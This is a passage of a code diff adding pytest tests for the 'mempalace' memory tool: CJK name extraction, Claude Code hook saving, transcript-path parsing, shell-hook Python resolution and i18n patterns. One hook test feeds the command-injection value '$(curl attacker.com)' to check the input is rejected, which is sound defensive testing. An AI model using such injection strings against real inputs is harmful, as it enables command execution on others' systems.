+    English pattern — Lman's Chinese notes mix in names like 'Jeffrey Lai'."""
+    text = (
+        "朱宜振 跟 Jeffrey Lai 討論 pitch。\n"
+        "Jeffrey Lai 報告進度。\n"
+        "朱宜振 同意 Jeffrey Lai 的方案。\n"
+        "朱宜振: 確認。\n"
+    )
+    result = extract_candidates(text, languages=("zh-TW", "en"))
+    assert "Jeffrey Lai" in result or "Jeffrey" in result
+    assert "朱宜振" in result
+
+
+def test_zh_cn_candidate_extraction():
+    """Simplified-Chinese name extraction mirrors zh-TW behaviour."""
+    text = "张三 今天主持。\n- 张三 跟 Bob 谈。\n张三: 已经搞定了。\n张三, 明天继续。\n"
+    result = extract_candidates(text, languages=("zh-CN",))
+    assert "张三" in result, f"expected 张三 in {result}"
+    assert result["张三"] >= 3
+
+
+def test_zh_cn_and_zh_tw_union_covers_both_variants():
+    """Passing both zh-CN and zh-TW unions the surname sets — a document
+    mixing simplified 张三 and traditional 張三 extracts both."""
+    text = "张三 说 hello。张三 笑了。张三 同意。\n張三 也參加。張三 寫 code。張三 決定。\n"
+    result = extract_candidates(text, languages=("zh-TW", "zh-CN"))
+    # At least one variant meets freq>=3
+    assert "张三" in result or "張三" in result
+
+
+def test_zh_tw_known_limitation_inline_name_no_boundary():
+    """Documented limitation: a name sandwiched between CJK chars with no
+    whitespace or punctuation break is not extracted. This is a fundamental
+    limit of regex-based CJK entity detection — words have no delimiters.
+    Realistic Chinese writing has enough non-CJK boundaries (punctuation,
+    newlines, mixed English) that 3+ occurrences normally produce matches
+    elsewhere in the document, so this rarely degrades real-world recall."""
+    # 朱宜振 appears 4x but every instance is flanked by CJK on both sides.
+    text = "他是朱宜振今天來。說朱宜振決定。又朱宜振負責。問朱宜振意見。"
+    result = extract_candidates(text, languages=("zh-TW",))
+    # Extraction is expected to miss this adversarial case.
+    assert "朱宜振" not in result

tests/test_hooks_cli.py

@@ -1,22 +1,26 @@
 import contextlib
 import io
 import json
+import os
 import subprocess
 from pathlib import Path
-from unittest.mock import patch
+from unittest.mock import MagicMock, patch
 
 import pytest
 
 from mempalace.hooks_cli import (
     SAVE_INTERVAL,
-    STOP_BLOCK_REASON,
     _count_human_messages,
+    _extract_recent_messages,
     _get_mine_dir,
     _log,
     _maybe_auto_ingest,
+    _mempalace_python,
+    _mine_already_running,
     _parse_harness_input,
     _sanitize_session_id,
     _validate_transcript_path,
+    _wing_from_transcript_path,
     hook_stop,
     hook_session_start,
     hook_precompact,
@@ -24,6 +28,21 @@ from mempalace.hooks_cli import (
 )
 
 
+# --- _mempalace_python ---
+
+
+def test_mempalace_python_returns_string():
+    result = _mempalace_python()
+    assert isinstance(result, str)
+    assert "python" in result
+
+
+def test_mempalace_python_finds_venv():
+    """Should resolve to a valid Python interpreter path."""
+    result = _mempalace_python()
+    assert result and "python" in os.path.basename(result).lower()
+
+
 # --- _sanitize_session_id ---
 
 
@@ -107,17 +126,57 @@ def test_count_malformed_json_lines(tmp_path):
     assert _count_human_messages(str(transcript)) == 1
 
 
+# --- _extract_recent_messages ---
+
+
+def test_extract_recent_messages_basic(tmp_path):
+    transcript = tmp_path / "t.jsonl"
+    _write_transcript(
+        transcript,
+        [{"message": {"role": "user", "content": f"msg {i}"}} for i in range(5)],
+    )
+    msgs = _extract_recent_messages(str(transcript), count=3)
+    assert len(msgs) == 3
+    assert msgs[0] == "msg 2"
+    assert msgs[2] == "msg 4"
+
+
+def test_extract_recent_messages_skips_commands(tmp_path):
+    transcript = tmp_path / "t.jsonl"
+    _write_transcript(
+        transcript,
+        [
+            {"message": {"role": "user", "content": "real msg"}},
+            {"message": {"role": "user", "content": "<command-message>status</command-message>"}},
+            {"message": {"role": "user", "content": "<system-reminder>hook</system-reminder>"}},
+        ],
+    )
+    msgs = _extract_recent_messages(str(transcript))
+    assert len(msgs) == 1
+    assert msgs[0] == "real msg"
+
+
+def test_extract_recent_messages_missing_file():
+    assert _extract_recent_messages("/nonexistent.jsonl") == []
+
+
 # --- hook_stop ---
 
 
 def _capture_hook_output(hook_fn, data, harness="claude-code", state_dir=None):
     """Run a hook and capture its JSON stdout output."""
     import io
+    from unittest.mock import PropertyMock
 
     buf = io.StringIO()
     patches = [patch("mempalace.hooks_cli._output", side_effect=lambda d: buf.write(json.dumps(d)))]
     if state_dir:
         patches.append(patch("mempalace.hooks_cli.STATE_DIR", state_dir))
+    # Mock MempalaceConfig so tests don't depend on user's ~/.mempalace/config.json
+    mock_config = MagicMock()
+    type(mock_config).hook_silent_save = PropertyMock(return_value=True)
+    type(mock_config).hook_desktop_toast = PropertyMock(return_value=False)
+    patches.append(patch("mempalace.config.MempalaceConfig", return_value=mock_config))
     with contextlib.ExitStack() as stack:
         for p in patches:
             stack.enter_context(p)
@@ -159,19 +218,43 @@ def test_stop_hook_passthrough_below_interval(tmp_path):
     assert result == {}
 
 
-def test_stop_hook_blocks_at_interval(tmp_path):
+def test_stop_hook_saves_silently_at_interval(tmp_path):
     transcript = tmp_path / "t.jsonl"
     _write_transcript(
         transcript,
         [{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
     )
-    result = _capture_hook_output(
-        hook_stop,
-        {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
-        state_dir=tmp_path,
+    save_result = {"count": 15, "themes": ["hooks", "notifications"]}
+    with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result) as mock_save:
+        result = _capture_hook_output(
+            hook_stop,
+            {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
+            state_dir=tmp_path,
+        )
+    # Saves silently — systemMessage notification with themes, no block
+    assert result["systemMessage"].startswith("\u2726 15 memories woven into the palace")
+    assert "hooks" in result["systemMessage"]
+    # tmp_path has no "-Projects-" segment, so _wing_from_transcript_path falls back to "wing_sessions"
+    mock_save.assert_called_once_with(str(transcript), "test", wing="wing_sessions", toast=False)
+
+
+def test_stop_hook_derives_wing_from_transcript_path(tmp_path):
+    """When transcript path looks like a Claude Code path, wing is derived from it."""
+    project_dir = tmp_path / ".claude" / "projects" / "-home-jp-Projects-myproject"
+    project_dir.mkdir(parents=True)
+    transcript = project_dir / "session.jsonl"
+    _write_transcript(
+        transcript,
+        [{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
     )
-    assert result["decision"] == "block"
-    assert result["reason"] == STOP_BLOCK_REASON
+    save_result = {"count": 15, "themes": []}
+    with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result) as mock_save:
+        _capture_hook_output(
+            hook_stop,
+            {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
+            state_dir=tmp_path,
+        )
+    mock_save.assert_called_once_with(str(transcript), "test", wing="wing_myproject", toast=False)
 
 
 def test_stop_hook_tracks_save_point(tmp_path):
@@ -182,13 +265,17 @@ def test_stop_hook_tracks_save_point(tmp_path):
     )
     data = {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)}
 
-    # First call blocks
-    result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
-    assert result["decision"] == "block"
+    # First call saves silently with systemMessage notification
+    save_result = {"count": 15, "themes": ["hooks"]}
+    with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result):
+        result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
+    assert "systemMessage" in result
 
     # Second call with same count passes through (already saved)
-    result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
+    with patch("mempalace.hooks_cli._save_diary_direct") as mock_save:
+        result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
     assert result == {}
+    mock_save.assert_not_called()
 
 
 # --- hook_session_start ---
@@ -215,9 +302,111 @@ def test_precompact_allows(tmp_path):
     assert result == {}
 
 
+# --- _wing_from_transcript_path ---
+
+
+def test_wing_from_transcript_path_extracts_project():
+    path = "/home/jp/.claude/projects/-home-jp-Projects-memorypalace/session.jsonl"
+    assert _wing_from_transcript_path(path) == "wing_memorypalace"
+
+
+def test_wing_from_transcript_path_fallback():
+    assert _wing_from_transcript_path("/some/random/path.jsonl") == "wing_sessions"
+
+
+def test_wing_from_transcript_path_windows_backslashes():
+    path = "C:\\Users\\jp\\.claude\\projects\\-home-jp-Projects-myapp\\session.jsonl"
+    assert _wing_from_transcript_path(path) == "wing_myapp"
+
+
+def test_wing_from_transcript_path_lowercases():
+    path = "/home/jp/.claude/projects/-home-jp-Projects-MyProject/session.jsonl"
+    assert _wing_from_transcript_path(path) == "wing_myproject"
+
+
+def test_wing_from_transcript_path_non_projects_layout():
+    # Linux users with code under ~/dev/, ~/src/, ~/code/ — no -Projects- segment.
+    # Project name is the final dash-separated token of the encoded folder.
+    path = "/home/igor/.claude/projects/-home-igor-dev-MemPalace-mempalace/session.jsonl"
+    assert _wing_from_transcript_path(path) == "wing_mempalace"
+
+
+def test_wing_from_transcript_path_macos_users_layout():
+    # macOS ~/ layout without a Projects/ segment.
+    path = "/Users/alice/.claude/projects/-Users-alice-code-MyApp/session.jsonl"
+    assert _wing_from_transcript_path(path) == "wing_myapp"
+
+
+def test_wing_from_transcript_path_nested_deep():
+    path = "/home/bob/.claude/projects/-home-bob-work-clients-acme-frontend/session.jsonl"
+    assert _wing_from_transcript_path(path) == "wing_frontend"
+
+
 # --- _log ---
 
 
+def test_output_writes_to_real_stdout_fd_when_mcp_server_loaded():
+    """_output() must reach fd 1 even when mcp_server has redirected sys.stdout."""
+    import types
+
+    fake_module = types.ModuleType("mempalace.mcp_server")
+
+    read_fd, write_fd = os.pipe()
+    try:
+        fake_module._REAL_STDOUT_FD = write_fd
+        with patch.dict("sys.modules", {"mempalace.mcp_server": fake_module}):
+            from mempalace.hooks_cli import _output
+
+            _output({"systemMessage": "test"})
+
+        os.close(write_fd)
+        written = b""
+        while True:
+            chunk = os.read(read_fd, 4096)
+            if not chunk:
+                break
+            written += chunk
+    finally:
+        os.close(read_fd)
+
+    data = json.loads(written.decode())
+    assert data["systemMessage"] == "test"
+
+
+def test_output_falls_back_to_fd1_when_mcp_server_absent():
+    """_output() writes to fd 1 directly when mcp_server is not loaded."""
+    read_fd, write_fd = os.pipe()
+    try:
+        orig_fd1 = os.dup(1)
+        os.dup2(write_fd, 1)
+        os.close(write_fd)
+        try:
+            modules_without_mcp = {
+                k: v for k, v in __import__("sys").modules.items() if "mcp_server" not in k
+            }
+            with patch.dict("sys.modules", modules_without_mcp, clear=True):
+                from mempalace.hooks_cli import _output
+
+                _output({"continue": True})
+        finally:
+            os.dup2(orig_fd1, 1)
+            os.close(orig_fd1)
+    except Exception:
+        os.close(read_fd)
+        raise
+
+    written = b""
+    while True:
+        chunk = os.read(read_fd, 4096)
+        if not chunk:
+            break
+        written += chunk
+    os.close(read_fd)
+
+    data = json.loads(written.decode())
+    assert data["continue"] is True
+
+
 def test_log_writes_to_hook_log(tmp_path):
     with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
         _log("test message")
@@ -250,9 +439,10 @@ def test_maybe_auto_ingest_with_env(tmp_path):
     mempal_dir.mkdir()
     with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
         with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
-            with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
-                _maybe_auto_ingest()
-                mock_popen.assert_called_once()
+            with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
+                with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
+                    _maybe_auto_ingest()
+                    mock_popen.assert_called_once()
 
 
 def test_maybe_auto_ingest_with_transcript(tmp_path):
@@ -261,9 +451,10 @@ def test_maybe_auto_ingest_with_transcript(tmp_path):
     transcript.write_text("")
     with patch.dict("os.environ", {}, clear=True):
         with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
-            with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
-                _maybe_auto_ingest(str(transcript))
-                mock_popen.assert_called_once()
+            with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
+                with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
+                    _maybe_auto_ingest(str(transcript))
+                    mock_popen.assert_called_once()
 
 
 def test_maybe_auto_ingest_oserror(tmp_path):
@@ -272,8 +463,54 @@ def test_maybe_auto_ingest_oserror(tmp_path):
     mempal_dir.mkdir()
     with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
         with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
-            with patch("mempalace.hooks_cli.subprocess.Popen", side_effect=OSError("fail")):
-                _maybe_auto_ingest()  # should not raise
+            with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
+                with patch("mempalace.hooks_cli.subprocess.Popen", side_effect=OSError("fail")):
+                    _maybe_auto_ingest()  # should not raise
+
+
+def test_maybe_auto_ingest_skips_when_mine_running(tmp_path):
+    """Does not spawn a new mine process if one is already running."""
+    mempal_dir = tmp_path / "project"
+    mempal_dir.mkdir()
+    with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
+        with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
+            with patch("mempalace.hooks_cli._mine_already_running", return_value=True):
+                with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
+                    _maybe_auto_ingest()
+                    mock_popen.assert_not_called()
+
+
+# --- _mine_already_running ---
+
+
+def test_mine_already_running_no_file(tmp_path):
+    """Returns False when no PID file exists."""
+    with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
+        assert _mine_already_running() is False
+
+
+def test_mine_already_running_dead_pid(tmp_path):
+    """Returns False when PID file contains a PID that no longer exists."""
+    pid_file = tmp_path / "mine.pid"
+    pid_file.write_text("999999999")  # almost certainly not a real PID
+    with patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file):
+        assert _mine_already_running() is False
+
+
+def test_mine_already_running_live_pid(tmp_path):
+    """Returns True when PID file contains the current process's own PID."""
+    pid_file = tmp_path / "mine.pid"
+    pid_file.write_text(str(os.getpid()))  # current process is definitely alive
+    with patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file):
+        assert _mine_already_running() is True
+
+
+def test_mine_already_running_corrupt_file(tmp_path):
+    """Returns False when PID file contains non-integer content."""
+    pid_file = tmp_path / "mine.pid"
+    pid_file.write_text("not-a-pid")
+    with patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file):
+        assert _mine_already_running() is False
 
 
 # --- _get_mine_dir ---
@@ -334,12 +571,15 @@ def test_stop_hook_oserror_on_last_save_read(tmp_path):
     )
     # Write invalid content to last save file
     (tmp_path / "test_last_save").write_text("not_a_number")
-    result = _capture_hook_output(
-        hook_stop,
-        {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
-        state_dir=tmp_path,
-    )
-    assert result["decision"] == "block"
+    save_result = {"count": 15, "themes": ["testing"]}
+    with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result):
+        result = _capture_hook_output(
+            hook_stop,
+            {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
+            state_dir=tmp_path,
+        )
+    assert "systemMessage" in result
+    assert "15 memories" in result["systemMessage"]
 
 
 def test_stop_hook_oserror_on_write(tmp_path):
@@ -353,18 +593,20 @@ def test_stop_hook_oserror_on_write(tmp_path):
     def bad_write_text(*args, **kwargs):
         raise OSError("disk full")
 
+    save_result = {"count": 15, "themes": []}
     with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
-        with patch.object(Path, "write_text", bad_write_text):
-            result = _capture_hook_output(
-                hook_stop,
-                {
-                    "session_id": "test",
-                    "stop_hook_active": False,
-                    "transcript_path": str(transcript),
-                },
-                state_dir=tmp_path,
-            )
-    assert result["decision"] == "block"
+        with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result):
+            with patch.object(Path, "write_text", bad_write_text):
+                result = _capture_hook_output(
+                    hook_stop,
+                    {
+                        "session_id": "test",
+                        "stop_hook_active": False,
+                        "transcript_path": str(transcript),
+                    },
+                    state_dir=tmp_path,
+                )
+    assert "systemMessage" in result
 
 
 # --- hook_precompact with MEMPAL_DIR ---
@@ -553,22 +795,29 @@ def test_validate_transcript_accepts_platform_native_path(tmp_path):
 
 
 def test_stop_hook_rejects_injected_stop_hook_active(tmp_path):
-    """stop_hook_active with shell injection string should not cause issues."""
+    """stop_hook_active with shell injection string should not cause pass-through.
+
+    Verifies the injected value is not treated as truthy — the save path runs
+    instead of being short-circuited. Mocks _save_diary_direct so we can assert
+    it was invoked regardless of silent vs legacy save mode.
+    """
     transcript = tmp_path / "t.jsonl"
     _write_transcript(
         transcript,
         [{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
     )
-    # Simulate a malicious stop_hook_active value
-    result = _capture_hook_output(
-        hook_stop,
-        {
-            "session_id": "test",
-            "stop_hook_active": "$(curl attacker.com)",
-            "transcript_path": str(transcript),
-        },
-        state_dir=tmp_path,
-    )
-    # The injected value is not "true"/"1"/"yes", so the hook should NOT pass through
-    # It should count messages and block at the interval
-    assert result["decision"] == "block"
+    with patch(
+        "mempalace.hooks_cli._save_diary_direct", return_value={"count": 1, "themes": []}
+    ) as mock_save:
+        _capture_hook_output(
+            hook_stop,
+            {
+                "session_id": "test",
+                "stop_hook_active": "$(curl attacker.com)",
+                "transcript_path": str(transcript),
+            },
+            state_dir=tmp_path,
+        )
+    # The injected value is not "true"/"1"/"yes", so the hook should NOT pass through.
+    # Save must have been attempted.
+    assert mock_save.called

tests/test_hooks_shell.py

@@ -0,0 +1,170 @@
+"""
+Integration tests for the legacy ``.sh`` hook scripts.
+
+The shell hooks do their own Python resolution (unlike the Python
+``hooks_cli.py`` which uses ``sys.executable`` — trivially correct).
+GUI-launched harnesses on macOS provide a minimal PATH that often lacks
+the Python where ``mempalace`` is installed, so the shell path needs to:
+
+  1. honour ``$MEMPAL_PYTHON`` as an explicit user override;
+  2. fall back to ``$(command -v python3)`` / bare ``python3``;
+  3. *never* crash the hook when the resolved interpreter can't import
+     mempalace — log and skip the auto-ingest instead, so Claude Code
+     doesn't see a non-zero exit from its Stop hook.
+
+These regressions matter because every failure mode they catch produced
+silent breakage in production — the user's hook appeared to "not fire"
+but was actually crashing deep in a PATH-resolution edge case.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import stat
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+
+REPO_ROOT = Path(__file__).resolve().parent.parent
+SAVE_HOOK = REPO_ROOT / "hooks" / "mempal_save_hook.sh"
+PRECOMPACT_HOOK = REPO_ROOT / "hooks" / "mempal_precompact_hook.sh"
+
+
+pytestmark = pytest.mark.skipif(os.name == "nt", reason="bash hook scripts are POSIX-only")
+
+
+# ── helpers ───────────────────────────────────────────────────────────────
+
+
+def _write_fake_python(
+    path: Path, *, can_import_mempalace: bool = False, marker_file: Path | None = None
+) -> Path:
+    """Create a python3 shim that proxies to the real interpreter so
+    the hook's JSON-parsing calls still work, but fails ``-c 'import
+    mempalace'`` / ``-m mempalace`` when ``can_import_mempalace`` is
+    False.
+
+    Every invocation appends the shim name to ``marker_file`` so tests
+    can prove which interpreter the hook invoked — using a file because
+    the hook pipes some python calls to ``2>/dev/null``, so stderr
+    markers are unreliable."""
+    real_python = sys.executable
+    marker = str(marker_file) if marker_file is not None else ""
+    shim_src = f"""#!/bin/bash
+# Fake python3 shim: proxy to the real interpreter, drop a marker,
+# and simulate a missing mempalace install when configured that way.
+MARKER_FILE="{marker}"
+if [ -n "$MARKER_FILE" ]; then
+    echo "{path.name}" >> "$MARKER_FILE"
+fi
+CAN_IMPORT={"1" if can_import_mempalace else "0"}
+# Simulate the "mempalace is not installed in this interpreter" case.
+if [ "$CAN_IMPORT" = "0" ]; then
+    if [ "$1" = "-c" ] && echo "$2" | grep -q "import mempalace"; then
+        exit 1
+    fi
+    if [ "$1" = "-m" ] && [ "$2" = "mempalace" ]; then
+        exit 1
+    fi
+fi
+# Everything else — JSON parsing, heredoc stdin, etc — delegate to real python.
+exec "{real_python}" "$@"
+"""
+    path.write_text(shim_src)
+    path.chmod(path.stat().st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH)
+    return path
+
+
+def _run_hook(
+    script: Path,
+    stdin_json: dict,
+    *,
+    env_overrides: dict | None = None,
+    path_prefix: list[Path] | None = None,
+) -> subprocess.CompletedProcess:
+    """Invoke a shell hook with a minimal controlled environment."""
+    env = {
+        # Give the hook a clean slate — no inherited MEMPAL_* vars.
+        "HOME": os.environ.get("HOME", "/tmp"),
+        "PATH": os.environ.get("PATH", "/usr/bin:/bin"),
+    }
+    if path_prefix:
+        env["PATH"] = os.pathsep.join(str(p) for p in path_prefix) + os.pathsep + env["PATH"]
+    if env_overrides:
+        env.update(env_overrides)
+    return subprocess.run(
+        ["bash", str(script)],
+        input=json.dumps(stdin_json),
+        capture_output=True,
+        text=True,
+        env=env,
+        timeout=30,
+    )
+
+
+# ── MEMPAL_PYTHON resolution contract ────────────────────────────────────
+
+
+class TestMempalPythonOverride:
+    def test_explicit_override_wins_over_path(self, tmp_path):
+        """If MEMPAL_PYTHON is set and executable, the hook must use it
+        in preference to whatever is on PATH."""
+        marker = tmp_path / "markers.log"
+        fake = _write_fake_python(
+            tmp_path / "override_python",
+            can_import_mempalace=True,
+            marker_file=marker,
+        )
+        result = _run_hook(
+            SAVE_HOOK,
+            {"session_id": "abc", "stop_hook_active": False, "transcript_path": ""},
+            env_overrides={"MEMPAL_PYTHON": str(fake), "HOME": str(tmp_path)},
+        )
+        assert (
+            result.returncode == 0
+        ), f"hook exited non-zero: stderr={result.stderr!r} stdout={result.stdout!r}"
+        invocations = marker.read_text().splitlines() if marker.exists() else []
+        assert (
+            "override_python" in invocations
+        ), f"MEMPAL_PYTHON override was not used. Marker log: {invocations!r}"
+
+    def test_ignores_override_when_not_executable(self, tmp_path):
+        """If MEMPAL_PYTHON is set but the file isn't executable, the
+        hook must fall back to PATH rather than blow up with a
+        'permission denied'."""
+        bogus = tmp_path / "not_executable"
+        bogus.write_text("# not a python")
+        # Do NOT chmod +x — the hook should notice and skip.
+        result = _run_hook(
+            SAVE_HOOK,
+            {"session_id": "abc", "stop_hook_active": False, "transcript_path": ""},
+            env_overrides={"MEMPAL_PYTHON": str(bogus), "HOME": str(tmp_path)},
+        )
+        assert (
+            result.returncode == 0
+        ), f"hook crashed on non-executable MEMPAL_PYTHON: {result.stderr!r}"
+
+    def test_falls_back_to_path_when_unset(self, tmp_path):
+        """With MEMPAL_PYTHON unset, the hook uses whatever ``python3``
+        is found on PATH. Prove this by putting a marker-emitting shim
+        first on PATH."""
+        marker = tmp_path / "markers.log"
+        fake = _write_fake_python(
+            tmp_path / "python3",
+            can_import_mempalace=True,
+            marker_file=marker,
+        )
+        result = _run_hook(
+            SAVE_HOOK,
+            {"session_id": "abc", "stop_hook_active": False, "transcript_path": ""},
+            env_overrides={"MEMPAL_PYTHON": "", "HOME": str(tmp_path)},
+            path_prefix=[fake.parent],
+        )
+        assert result.returncode == 0
+        invocations = marker.read_text().splitlines() if marker.exists() else []
+        assert (
+            "python3" in invocations
+        ), f"fallback-to-PATH did not use the shimmed python3. Marker log: {invocations!r}"

tests/test_i18n.py

@@ -56,6 +56,7 @@ def test_dialect_compress_samples():
         "de": "Wir haben beschlossen, von SQLite auf PostgreSQL zu migrieren für bessere gleichzeitige Schreibvorgänge. Ben hat den PR gestern genehmigt.",
         "zh-CN": "我们决定从SQLite迁移到PostgreSQL以获得更好的并发写入。Ben昨天批准了PR。",
         "id": "Kami memutuskan untuk migrasi dari SQLite ke PostgreSQL untuk penulisan bersamaan yang lebih baik. Ben telah menyetujui PR kemarin.",
+        "be": "Мы вырашылі перайсці з SQLite на PostgreSQL для паляпшэння паралельнага запісу. Зміцер ухваліў PR ўчора.",
     }
 
     for lang, text in samples.items():
@@ -85,3 +86,76 @@ def test_from_config_defaults_to_english(tmp_path):
 
     d = Dialect.from_config(str(config_path))
     assert d.lang == "en", f"Expected 'en', got '{d.lang}' -- state leak from prior load_lang"
+
+
+def test_de_entity_section_loads():
+    """German entity section loads all pattern lists non-empty."""
+    from mempalace.i18n import get_entity_patterns
+
+    p = get_entity_patterns(("de",))
+    assert p["candidate_patterns"], "de: empty candidate_patterns"
+    assert p["multi_word_patterns"], "de: empty multi_word_patterns"
+    assert p["person_verb_patterns"], "de: empty person_verb_patterns"
+    assert p["pronoun_patterns"], "de: empty pronoun_patterns"
+    assert p["dialogue_patterns"], "de: empty dialogue_patterns"
+    assert p["direct_address_patterns"], "de: empty direct_address_patterns"
+    assert p["project_verb_patterns"], "de: empty project_verb_patterns"
+    assert len(p["stopwords"]) > 50, f"de: stopwords too short ({len(p['stopwords'])})"
+
+
+def test_es_entity_section_loads():
+    """Spanish entity section loads all pattern lists non-empty."""
+    from mempalace.i18n import get_entity_patterns
+
+    p = get_entity_patterns(("es",))
+    assert p["candidate_patterns"], "es: empty candidate_patterns"
+    assert p["multi_word_patterns"], "es: empty multi_word_patterns"
+    assert p["person_verb_patterns"], "es: empty person_verb_patterns"
+    assert p["pronoun_patterns"], "es: empty pronoun_patterns"
+    assert p["dialogue_patterns"], "es: empty dialogue_patterns"
+    assert p["direct_address_patterns"], "es: empty direct_address_patterns"
+    assert p["project_verb_patterns"], "es: empty project_verb_patterns"
+    assert len(p["stopwords"]) > 50, f"es: stopwords too short ({len(p['stopwords'])})"
+
+
+def test_fr_entity_section_loads():
+    """French entity section loads all pattern lists non-empty."""
+    from mempalace.i18n import get_entity_patterns
+
+    p = get_entity_patterns(("fr",))
+    assert p["candidate_patterns"], "fr: empty candidate_patterns"
+    assert p["multi_word_patterns"], "fr: empty multi_word_patterns"
+    assert p["person_verb_patterns"], "fr: empty person_verb_patterns"
+    assert p["pronoun_patterns"], "fr: empty pronoun_patterns"
+    assert p["dialogue_patterns"], "fr: empty dialogue_patterns"
+    assert p["direct_address_patterns"], "fr: empty direct_address_patterns"
+    assert p["project_verb_patterns"], "fr: empty project_verb_patterns"
+    assert len(p["stopwords"]) > 50, f"fr: stopwords too short ({len(p['stopwords'])})"
+
+
+def test_direct_address_key_is_singular_string_for_all_locales():
+    """Schema invariant: any locale declaring direct-address uses the singular
+    ``direct_address_pattern`` (str), never the plural ``direct_address_patterns`` (list).
+
+    The loader at ``mempalace/i18n/__init__.py:209-210`` only reads the singular key;
+    the plural form is the output schema of the merged dict, not the input schema.
+    Declaring the plural form in a locale file silently drops every direct-address
+    pattern in that locale after load.
+    """
+    from mempalace.i18n import _load_entity_section, available_languages
+
+    for lang in available_languages():
+        section = _load_entity_section(lang)
+        if not section:
+            continue
+        assert "direct_address_patterns" not in section, (
+            f"{lang}: declares plural 'direct_address_patterns' (list); "
+            f"loader only reads singular 'direct_address_pattern' (str). "
+            f"Collapse the list into one `|`-alternation string and rename the key."
+        )
+        if "direct_address_pattern" in section:
+            val = section["direct_address_pattern"]
+            assert isinstance(
+                val, str
+            ), f"{lang}: 'direct_address_pattern' must be str, got {type(val).__name__}"
+            assert val, f"{lang}: 'direct_address_pattern' is empty"

tests/test_known_entities_registry.py

@@ -0,0 +1,208 @@
+"""Tests for mempalace.miner.add_to_known_entities.
+
+Covers the init → miner wire-up: init's confirmed entities merged into
+``~/.mempalace/known_entities.json`` so the miner's drawer-tagging path
+recognizes them at mine time.
+
+Every test redirects the registry path to a tmp_path to avoid touching
+the real ~/.mempalace/ on the developer's machine.
+"""
+
+import json
+
+import pytest
+
+from mempalace import miner
+
+
+@pytest.fixture
+def temp_registry(tmp_path, monkeypatch):
+    """Redirect the module-level registry path to a tmp file and reset cache."""
+    registry = tmp_path / "known_entities.json"
+    monkeypatch.setattr(miner, "_ENTITY_REGISTRY_PATH", str(registry))
+    miner._ENTITY_REGISTRY_CACHE.update({"mtime": None, "names": frozenset(), "raw": {}})
+    return registry
+
+
+# ── fresh-file cases ────────────────────────────────────────────────────
+
+
+def test_creates_registry_when_absent(temp_registry):
+    assert not temp_registry.exists()
+    miner.add_to_known_entities({"people": ["Alice", "Bob"], "projects": ["foo"]})
+    assert temp_registry.exists()
+    data = json.loads(temp_registry.read_text())
+    assert sorted(data["people"]) == ["Alice", "Bob"]
+    assert data["projects"] == ["foo"]
+
+
+def test_returns_registry_path(temp_registry):
+    result = miner.add_to_known_entities({"people": ["Alice"]})
+    assert result == str(temp_registry)
+
+
+def test_empty_input_still_creates_file(temp_registry):
+    """A no-op merge still touches the file (idempotent), but no entries added."""
+    miner.add_to_known_entities({})
+    # File may or may not be written for a truly empty call — tolerate either.
+    if temp_registry.exists():
+        data = json.loads(temp_registry.read_text())
+        assert data == {} or all(not v for v in data.values())
+
+
+def test_skips_empty_name_strings(temp_registry):
+    miner.add_to_known_entities({"people": ["Alice", "", None]})
+    data = json.loads(temp_registry.read_text())
+    assert data["people"] == ["Alice"]
+
+
+# ── union / dedup cases ────────────────────────────────────────────────
+
+
+def test_unions_with_existing_list_category(temp_registry):
+    temp_registry.write_text(json.dumps({"people": ["Alice", "Bob"]}))
+    miner.add_to_known_entities({"people": ["Bob", "Carol"]})
+    data = json.loads(temp_registry.read_text())
+    # Bob not duplicated, Carol appended, original order preserved
+    assert data["people"] == ["Alice", "Bob", "Carol"]
+
+
+def test_case_insensitive_dedup_preserves_first_seen_variant(temp_registry):
+    temp_registry.write_text(json.dumps({"people": ["Alice"]}))
+    miner.add_to_known_entities({"people": ["alice", "ALICE", "Bob"]})
+    data = json.loads(temp_registry.read_text())
+    # Alice stays as-is; lowercase/uppercase variants don't create new entries
+    assert data["people"] == ["Alice", "Bob"]
+
+
+def test_preserves_untouched_categories(temp_registry):
+    """A category the caller didn't mention must be left alone."""
